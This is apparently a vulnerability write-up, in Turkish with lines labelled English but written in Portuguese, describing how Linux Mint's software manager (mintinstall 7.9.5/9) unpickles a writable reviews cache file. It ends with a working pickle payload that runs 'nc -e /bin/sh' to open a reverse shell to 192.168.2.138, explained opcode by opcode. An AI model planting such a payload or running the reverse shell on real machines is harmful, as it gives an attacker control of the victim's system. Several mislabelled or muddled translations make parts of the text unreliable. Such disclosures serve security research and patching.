[TR] Linux mint yazılım yöneticisi (v 7.9.5/9) yanlış yapılandırmadan dolayı obje enjeksiyonu ve keyfi kod çalıştırmamıza neden olmaktadır.

[EN] O gerenciador de software do Linux Mint (v 7.9.5/9) nos faz executar injeção de objetos e código arbitrário devido a uma configuração incorreta

mintinsall

[TR] Mint yazılım yöneticisini çalıştırdıgımız da yeni yorum olup olmadıgını kontrol ediyor eger yeni yorum varsa new-reviews.list adresinden indirip dosyaya yazıyor.

[EN] Se houver um novo comentário, faz o download de new-reviews.list e escreve no arquivo.

code mintinstall.py

[TR] Yazılım yöneticisini ilk başladıgında , reviews modülünden ReviewCache() sınıfını çağırıyor.

[EN] Quando o gerenciador de software inicia pela primeira vez, ele chama a classe ReviewCache() do módulo reviews.

Verileri Nasıl İşliyor? # Como Processa os Dados?

code reviews.py

[TR] ReviewCache sınıfı başladıgında(init) _load_cache() fonksiyonunu çagırıyor.

[EN] Quando a classe ReviewCache inicia (init), ela chama a função _load_cache()

[TR] Load cache fonksiyonu REVIEWS_CACHE degişkeninde olan dosyayı okuyup pickle modülü yardımıyla dosyanın içinde ki datayı unserialize ediyor ve bazı değerleri hafıza da tutuyor.

[EN] A função Load cache lê o arquivo na variável REVIEWS_CACHE e desserializa os dados no arquivo com a ajuda do módulo pickle, mantendo alguns valores na memória.

[TR] Dosyayı kontrol ettigimde yazma iznim oldugu görünüyor.

[EN] Quando verifico o arquivo, parece que tenho permissão de escrita.

[TR] Pickle modülü yardımıyla serialize/unserialize işlemleri gerçekleştirebildigimizden, reduce metodu kullanarak modül dahil edip keyfi kod yürütebiliriz.

[EN] Pickle como podemos realizar operações de serialização/desserialização com o módulo, podemos incluir o módulo e executar código arbitrário usando o método reduce.

[TR] Bu durumda eğer dosya unserialize edilmeye çalışılırsa zararlı kodumuz çalışacaktır.

[EN] Se você tentar desserializar o arquivo, nosso código malicioso será executado.

cos 
system 
(S'nc -e /bin/sh 192.168.2.138 4545' 
tR.
>>modül adı c{os}
>> fonksiyon
( >> işaretleyici nesnesi 
S >> tırnak sonuna kadar okuyup stack'e at
tR. >> stackte olanları çagır ve sonucu stacke yerleştir.